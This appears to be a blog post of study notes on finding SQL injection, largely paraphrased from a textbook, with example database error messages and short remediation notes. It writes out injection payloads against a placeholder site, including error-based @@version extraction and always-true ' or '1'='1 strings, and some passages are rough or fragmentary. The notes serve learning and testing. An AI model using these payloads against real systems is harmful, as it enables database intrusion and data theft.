Sql injection is must be tested in headers cookies and parameters with a single quote (') Sql injection is more important then XSS and are always find in Select, create, update and delete where sql queries run... We search for error base entries which are dealing with database must be fuzzed with sql injection and with burp scanner CRUD must not be missed out detection is more important to find new areas of detection jason request, where there is key parameter must not be ignored as they are attached to the database for exploitation.

************************
Read the => SQL injection attack and defense notes
*****************************************

SQL map 
if not exploitable then reduce to likelihood but not the impact is always

Remediation 
suggest generic remediation and tenchologies based .net php j2ee

OWSASP guide is best to google search on this
 dynamic query 
Dynamic SQL is a programming technique that enables you to build SQL statements dynamically at runtime. You can create more general purpose, flexible applications by using dynamic SQL because the full text of a SQL statement may be unknown at compilation. For example, dynamic SQL lets you create a procedure that operates on a table whose name is not known until runtime.

Stored procedure functions persistent query 
 prepared statement 
 parameterized query (pre-compiled statement ) imp
 A parameterized query (also known as a prepared statement) is a means of pre-compiling a SQL statement so that all you need to supply are the "parameters" (think "variables") that need to be inserted into the statement for it to be executed. It's commonly used as a means of preventing SQL injection attacks php .net jsp is different.



************************
Read the => SQL injection attack and defense notes
*****************************************

SQL injection attack and defense notes



SQL injection vulnerabilities most commonly occur when the Web application developer does not ensure that values received from a Web form, cookie, input parameter, and so forth are validated or encoded before passing them to SQL queries that will be executed on a database server.

If an attacker can control the input that is sent to an SQL query and manipulate that input so that the data is interpreted as code instead of as data, he may be able to execute code on the back-end database.

Without a sound understanding of the underlying database that they are interacting with or a thorough understanding and awareness of the potential security issues
of the code that is being developed, application developers can often produce inherently insecure applications that are vulnerable to SQL injection

What is the impact of an SQL injection vulnerability?
A: This depends on many variables; however, potentially an attacker can manipulate data in the database, extract much more data than the application should allow, and possibly execute operating system commands on the database server

Is SQL injection a new vulnerability?
A: No. SQL injection has probably existed since SQL databases were first connected to Web applications. However, it was brought to the attention of the public on Christmas Day 1998.

Can Web sites be immune to SQL injection if they do not allow the quote character to be entered?
A: No. There is a myriad of ways to encode the quote character so that it is accepted as input, and some SQL injection vulnerabilities can be exploited without using it at all. Also, the quote character is not the only character that can be used to exploit SQL injection vulnerabilities; a number of characters are available to an attacker, such as the double pipe (||) and double quote (“), among others.

Q: My application is written in PHP/ASP/Perl/.NET/Java, etc. Is my chosen language immune?
A: No. Any programming language that does not validate input before passing it to a dynamically created SQL statement is potentially vulnerable; that is, unless it uses parameterized queries and bind variables.

**********************
Learn more on => SQL injection Contd......
Cross Site Scripting => Click on me :)
************************************************

Finding SQL Injection
=========================
The Web browser is a client acting as a front-end requesting data from the user and sending it to the remote server which will create SQL queries using the submitted data. Our main goal at this stage is to identify anomalies in the server response and determine whether they are generated by an SQL injection vulnerability.


Testing by Inference
There is one simple rule for identifying SQL injection vulnerabilities: Trigger anomalies by
sending unexpected data. This rule implies that:
■■ You identify all the data entry on the Web application.
■■ You know what kind of request might trigger anomalies.
■■ You detect anomalies in the response from the server.

The two most method are GET and POST
Now Get send everything in URL
for exampe :- GET /search.aspx?text=lcd%20monitors&cat=1&num=20 HTTP/1.1
ex-2
This kind of request sends parameters within the URLs in the following format:
?parameter1=value1&parameter2=value2&parameter3=value3...

POST = POST method is basically used when u fill the form, the value are sent at the bottom of the request

POST /contact/index.asp HTTP/1.1

Content-Length: 129
first=John&last=Doe&email=john@doe.com&phone=555123456&title=Mr&country=US&comments=
I%20would%20like%20to%20request%20information

Manipulating Parameter
For example, u have an URL
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=cars
http://www.victim.com/showproducts.php?category=boats

The showproducts.php page receives a parameter called category. we don't have type anything but click on link and u r redirected

but if u change http://www.victim.com/showproducts.php?category=attacker

you get SQL error
In the preceding example, we sent a request to the server with a non-existent category
name. The response from the server was as follows:
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /var/www/victim.com/showproducts.php on line 34

**********************
Learn more on => SQL injection Contd......
************************************************

Another interesting test you can conduct to identify vulnerabilities in Microsoft SQL Server and Oracle is to send the following two requests to the Web server:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'+'kes
The MySQL equivalent is:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi' 'kes

If the result of both requests is the same, there is a high possibility that there is an SQL injection vulnerability.

SQL injection vulnerabilities occur for two reasons:
■■ Lack of user input sanitization
■■ Data and control structures mixed in the same transport channel

handled as a result of one of the following:
The SQL error ■■ is displayed on the page and is visible to the user from the
Web browser.
■■ The SQL error is hidden in the source of the Web page for debugging purposes.
■■ Redirection to another page is used when an error is detected.
■■ An HTTP error code 500 (Internal Server Error) or HTTP redirection code 302
is returned.
■■ The application handles the error properly and simply shows no results, perhaps
displaying a generic error page.


Commonly Displayed SQL Errors
===============================

Microsoft SQL Server Errors

Consider the following request:
http://www.victim.com/showproducts.aspx?category=attacker'
The error returned from the remote application will be similar to the following:
Server Error in '/' Application.
Unclosed quotation mark before the character string 'attacker;'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation

Imagine you find a page called showproduct.aspx in the victim.com application.
The script receives a parameter called id and displays a single product depending on the value
of the id parameter:
http://www.victim.com/showproduct.aspx?id=2
When you change the value of the id parameter to something such as the following:
http://www.victim.com/showproduct.aspx?id=attacker
the application returns an error similar to this:
Server Error in '/' Application.
Invalid column name 'attacker'.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Invalid column name
'attacker'.
mark before the character string 'attacker;'.


Based on the error, you can assume that in the first instance the application creates an
SQL statement such as this:
SELECT * FROM products WHERE idproduct=2
The preceding statement returns a result set with the product whose id product field equals 2. However, when you inject a non-numeric value, such as attacker, the resultant SQL statement sent to the database server has the following syntax:
Testing for SQL Injection
SELECT * FROM products WHERE idproduct=attacker
The SQL server understands that if the value is not a number it must be a column name.
In this case, the server looks for a column called attacker within the products table. However,
there is no column named attacker, and therefore it returns an error.
There are some techniques that you can use to retrieve information embedded in the
errors returned from the database. The first one generates an error converting a string to an
integer:
http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/@@version;--
Application response:
Server Error in '/' Application.
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 – 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft
Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: ) ' to a column of data type int.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information
about the error and where it originated in the code.
The database reported an error, converting the result of @@version to an integer and displaying its contents. This technique abuses the type conversion functionality in SQL Server. We sent 0/@@version as part of our injected code. As a division operation needs to be executed between two numbers, the database tries to convert the result from the @@version function into a number. When the operation fails the database displays the content of the variable.
You can use this technique to display any variable in the database. The following |
example
uses this technique to display the user variable:



MySQL Errors
A common configuration is formed by an Apache Web server running PHP on a Linux operating system, but you can find it in many other scenarios as well. The following error is usually an indication of a MySQL injection vulnerability:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/victim.com/showproduct.php on line 8

In this example, the attacker injected a single quote in a GET parameter and the PHP page sent the SQL statement to the database. The following fragment of PHP code shows the vulnerability:
<?php
//Connect to the database
mysql_connect("[database]", "[user]", "[password]") or
//Error checking in case the database is not accessible
die("Could not connect: " . mysql_error());
//Select the database
mysql_select_db("[database_name]");


When an application running the preceding code catches database errors and the SQL query fails, the returned HTML document will include the error returned by the database. If an attacker modifies a string parameter by adding a single quote the server will return
output similar to the following:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

The preceding output provides information regarding why the SQL query failed. If the
injectable parameter is not a string and therefore is not enclosed between single quotes, the
resultant output would be similar to this:
Error: Unknown column 'attacker' in 'where clause'


**********************
Learn more on => SQL injection Contd......
************************************************

Oracle Errors

When tampering with the parameters of Java applications with an Oracle back-end
database you will often find the following error:
java.sql.SQLException: ORA-00933: SQL command not properly ended at
oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:180) at
oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
The preceding error is very generic and means that you tried to execute a syntactically
incorrect SQL statement. Depending on the code running on the server you can find the
following error when injecting a single quote:
Error: SQLException java.sql.SQLException: ORA-01756: quoted string not
properly terminated
In this error the Oracle database detects that a quoted string in the SQL statement is not
properly terminated, as Oracle requires that a string be terminated with a single quote. The
following error re-creates the same scenario in .NET environments:
Exception Details: System.Data.OleDb.OleDbException: One or more errors
occurred during processing of command.
ORA-00933: SQL command not properly ended
The following example shows an error returned from a .NET application


sql injection payload => bikes’ or ‘1’=’1?  to make always true


In this example, we injected SQL code that created a meaningful correct query. If the
application is vulnerable to SQL injection, the preceding query should return every row in
the products table. This technique is very useful, as it introduces an always true condition.
‘ or ‘1’=’1 is inserted inline with the current SQL statement and does not affect the
other parts of the request. The complexity of the query doesn’t particularly matter, as we can
easily create a correct statement.

Another test to perform in this kind of situation is the injection of an always false
statement.
For that we will send a value that generates no results; for example, bikes’
AND ‘1’=’2:
SELECT *
FROM products
WHERE category='bikes' AND '1'='2' /* always false -> returns no rows */
54 Chapter 2 • Testing for SQL Injection
The preceding statement should return no results, as the last condition in the WHERE
clause can never be met. However, keep in mind that things are not always as simple as shown
in these examples, and don’t be surprised if you inject an always false condition and the
application
returns results

IMP =>
Parameter manipulation

Mitigation =>
Output encoding
validation
sanitization

**********************
Learn more on => SQL injection Contd......
************************************************